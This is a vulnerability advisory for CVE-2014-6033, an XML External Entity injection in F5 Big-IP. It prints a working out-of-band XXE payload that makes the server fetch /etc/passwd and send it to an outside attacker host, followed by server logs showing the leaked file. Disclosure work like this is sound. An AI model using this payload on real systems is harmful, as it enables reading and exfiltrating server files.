Vulnerability title: XML External Entity Injection in F5 Networks Big-IP
CVE: CVE-2014-6033
Vendor: F5 Networks
Product: Big-IP
Affected version: 11.3.0.39.0
Fixed version: N/A
Reported by: Oliver Gruskovnjak

Details:

F5 Networks Big-IP is vulnerable to an XML External Entity injection attack. The following xml payload was used to trigger the XXE (The vulnerable URL is redacted due to the number of affected systems):

action=write&contents=<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://x.x.x.x/xml?f=/etc/passwd"> %remote;
%int;
%trick;]><viewList>
  <view id="asd">
    <window>
      <setting name="x" value="0"/>
      <setting name="height" value="256"/>
      <setting name="y" value="190"/>
      <setting name="typeId" value="BwControlTemplWindow"/>
      <setting name="selectedMode" value="Both"/>
      <setting name="width" value="508"/>
    </window>
    <window>
      <setting name="x" value="515"/>
      <setting name="height" value="256"/>
      <setting name="toggleOn" value="true"/>
      <setting name="y" value="0"/>
      <setting name="typeId" value="MemWindow"/>
      <setting name="selectedMode" value="Both"/>
      <setting name="width" value="508"/>
      <setting name="viewSwitch" value="false"/>
    </window>
  </view>
</viewList>&name=asdasd


Please note that the payload needs to be completely urlencoded to trigger the vulnerability properly. On the attacking Server the file can be read from web server logs:


10.1.10.10 - - [20/Aug/2014 00:37:18] "GET /xml?f=/etc/passwd HTTP/1.1" 200 128 0.0008
10.1.10.10 - - [20/Aug/2014:00:37:18 PDT] "GET /xml?f=/etc/passwd HTTP/1.1" 200 128
- -> /xml?f=/etc/passwd
10.1.10.10 - - [20/Aug/2014 00:37:18] "GET /?p=root:x:0:0:root:/root:/bin/bash%0Abin:x:1:1:bin:/bin:/sbin/nologin%0Adaemon:x:2:2:daemon:/sbin:/sbin/nologin%0Aadm:x:3:4:adm:/var/adm:/sbin/nologin%0Alp:x:4:7:lp:/var/spool/lpd:/sbin/nologin%0Amail:x:8:12:mail:/var/spool/mail:/sbin/nologin%0Auucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin%0Aoperator:x:11:0:operator:/root:/sbin/nologin%0Anobody:x:99:99:Nobody:/:/sbin/nologin%0Atmshnobody:x:32765:32765:tmshnobody:/:/sbin/nologin%0Aadmin:x:0:500:Admin%20User:/home/admin:/bin/false%0Aapache:x:48:48:Apache:/usr/local/www:/bin/bash%0Amysql:x:98:98:MySQL%20server:/var/lib/mysql:/sbin/nologin%0Avcsa:x:69:69:virtual%20console%20memory%20owner:/dev:/sbin/nologin%0Aoprofile:x:16:16:Special%20user%20account%20to%20be%20used%20by%20OProfile:/:/sbin/nologin%0Asshd:x:74:74:Privilege-separated%20SSH:/var/empty/sshd:/sbin/nologin%0Asyscheck:x:976:10::/:/sbin/nologin%0Arpc:x:32:32:Portmapper%20RPC%20user:/:/sbin/nologin%0Af5_remoteuser:x:499:499:f
 5%20remote%20user%20account:/home/f5_remoteuser:/sbin/nologin%0Apcap:x:77:77::/var/arpwatch:/sbin/nologin%0Atomcat:x:91:91:Apache%20Tomcat:/usr/share/tomcat:/sbin/nologin%0Antp:x:38:38::/etc/ntp:/sbin/nologin%0Anamed:x:25:25:Named:/var/named:/bin/false%0A HTTP/1.1" 200 - 0.0010



Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-6033/

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